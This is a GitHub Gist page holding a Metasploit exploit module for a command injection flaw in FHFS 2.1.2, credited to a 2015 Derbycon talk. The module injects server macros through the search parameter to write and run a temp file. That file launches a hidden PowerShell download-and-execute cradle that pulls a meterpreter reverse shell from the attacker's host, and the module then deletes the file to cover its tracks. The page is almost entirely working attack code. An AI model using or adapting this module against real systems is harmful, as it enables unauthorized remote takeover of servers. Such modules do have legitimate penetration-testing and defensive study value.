Last active
September 3, 2019 16:40
-
-
Save jmacko/a9a22a43e6dc1b0d6e90 to your computer and use it in GitHub Desktop.
FHFS 2.1.2 Command Injection Exploit - Derbycon 2015
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: http://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
require 'msf/core' | |
require 'msf/core/exploit/powershell' | |
class Metasploit3 < Msf::Exploit::Remote | |
Rank = ExcellentRanking | |
include Msf::Exploit::Remote::HttpClient | |
include Msf::Exploit::Remote::HttpServer::HTML | |
include Msf::Exploit::Powershell | |
def initialize(info={}) | |
super(update_info(info, | |
'Name' => "FHFS Remote Command Execution", | |
'Description' => %q{ | |
FHFS is vulnerable to remote command execution attack due to a poor regex in the file | |
ParserLib.pas. This module has been tested successfully on FHFS 2.1.2 over Windows 7. | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => | |
[ | |
'Jeff Macko <jmacko[at]macko.net>' # metasploit module | |
], | |
'References' => | |
[ | |
['URL','https://www.exploit-db.com/exploits/37985/'] | |
], | |
'Payload' => { 'Payload' => 'python/meterpreter/reverse_tcp' }, | |
'Platform' => 'win', | |
'Targets' => | |
[ | |
['PSH', { | |
'Platform' => 'win', | |
'Arch' => [ARCH_X86, ARCH_X86_64] | |
}], | |
], | |
'Privileged' => false, | |
'Stance' => Msf::Exploit::Stance::Aggressive, | |
'DefaultTarget' => 0)) | |
register_options( | |
[ | |
OptString.new('TARGETURI', [true, 'The path of the web application', '/']), | |
OptString.new('TEMPFILENAME', [true, 'The name of the temp file used on the remote filesytem', rand_text_alpha(rand(10)+5)+'.cmd']), | |
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]), | |
], self.class) | |
end | |
def check | |
res = send_request_raw({ | |
'method' => 'GET', | |
'uri' => '/' | |
}) | |
if res && res.headers['Server'] && res.headers['Server'] =~ /FHFS .+v([\d.]+)/ | |
version = $1 | |
if Gem::Version.new(version) <= Gem::Version.new("2.1.2") | |
print_status("Target is running FSHS version: #{version}") | |
return Exploit::CheckCode::Appears | |
else | |
return Exploit::CheckCode::Safe | |
end | |
else | |
return Exploit::CheckCode::Safe | |
end | |
end | |
def on_request_uri(cli, req) | |
print_status("Request for payload: #{peer}") | |
data = cmd_psh_payload(payload.encoded, | |
payload_instance.arch.first, | |
remove_comspec: true, | |
use_single_quotes: true | |
) | |
send_response(cli, data, 'Content-Type' => 'application/octet-stream') | |
#attempt to cleanup temp file on remote system | |
file_name = datastore["TEMPFILENAME"] | |
send_request_raw({ | |
'method' => 'GET', | |
'uri' => "/?search={.delete|#{file_name}.}" | |
}) | |
# remove resource after serving 1st request as 'exec' execute 2x | |
# during exploitation | |
stop_service | |
end | |
def primer | |
file_name = datastore["TEMPFILENAME"] | |
url = get_uri | |
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl | |
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))" | |
command_code = generate_psh_command_line( | |
noprofile: true, | |
windowstyle: 'hidden', | |
command: download_and_run | |
) | |
payloads = [ | |
"save|#{file_name}|#{command_code}", | |
"exec|#{file_name}" | |
] | |
print_status("Sending a malicious request to #{target_uri}") | |
payloads.each do |payload| | |
#replace all spaces in command with a space | |
#We're borrowing the space from the "program files" environment variable | |
#The syntax below, asks for one character starting at the 10th character. | |
payload.gsub! ' ','%programfiles:~10,1%' | |
send_request_raw({ | |
'method' => 'GET', | |
'uri' => "/?search={.#{payload}.}" | |
}) | |
end | |
end | |
def exploit | |
begin | |
Timeout.timeout(datastore['HTTPDELAY']) { super } | |
rescue Timeout::Error | |
# When the server stops due to our timeout, this is raised | |
#cleanup file on remote server | |
#attempt to cleanup temp file on remote system | |
file_name = datastore["TEMPFILENAME"] | |
send_request_raw({ | |
'method' => 'GET', | |
'uri' => "/?search={.delete|#{file_name}.}" | |
}) | |
end | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment